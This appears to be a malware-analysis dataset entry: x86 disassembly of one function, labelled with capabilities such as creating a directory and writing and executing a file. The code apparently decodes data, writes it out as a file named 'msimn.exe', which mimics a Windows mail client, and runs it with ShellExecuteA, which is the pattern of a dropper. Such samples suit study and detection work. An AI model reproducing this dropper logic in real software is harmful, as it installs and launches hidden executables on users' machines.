Function at 0x404470
Capabilities:
Create directory
Create process on windows
Get file size
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x22c
mov eax, dword [0x41f608]
push ebx
mov dword [esp + 0x22c], eax
push esi
push edi
mov edx, ecx
xor eax, eax
mov byte [esp + 0x128], 0
mov ecx, 0x40
lea edi, [esp + 0x129]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x128]
push eax
mov ecx, edx
mov dword [esp + 0x18], edx
call fcn.00404280
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [esp + 0x10], 0
lea esp, [esp]
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x128]
push ecx
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, byte [esp + 0x10]
mov cl, byte [esp + 0x20]
dec al
add cl, al
mov byte [esp + 0x20], cl
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x41841c
lea edx, [esp + 0x24]
push edx
call ebx
push str.msimn.exe
lea eax, [esp + 0x24]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 2
push 0
push 0
push 0x1f01ff
lea ecx, [esp + 0x38]
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x404574
mov eax, dword [esp + 0x10]
inc eax
jmp loc.004dc9d0
mov edx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 1
push 0x1f01ff
push edx
call edi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4045dc
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x18]
test ebx, ebx
je 0x4045dc
push ebx
call fcn.0040e390
mov ecx, dword [esp + 0x18]
add esp, 4
push ebx
push eax
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00403f40
test eax, eax
jne 0x4045fa
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0040e3a2
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [esp + 0x234]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push ebx
call fcn.0040e390
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
add esp, 4
push 0x18
push 0x41c5d8
mov ebx, eax
mov eax, dword [esp + 0x18]
add edx, 0xfffffff4
push edx
push ebx
add eax, 0xc
push eax
call fcn.00403d60
test eax, eax
jne 0x404654
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0040e3a2
push ebx
call fcn.0040e3a2
add esp, 8
xor al, al
mov ecx, dword [esp + 0x234]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp + 0x14]
push 0
lea edx, [esp + 0x20]
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0040e3a2
push ebx
call fcn.0040e3a2
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [esp + 0x38]
push edx
call edi
cmp eax, 0xffffffff
je 0x40463d
push eax
call esi
push 1
push 0
push 0
lea eax, [esp + 0x2c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x234]
cmp eax, 0x20
setg al
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10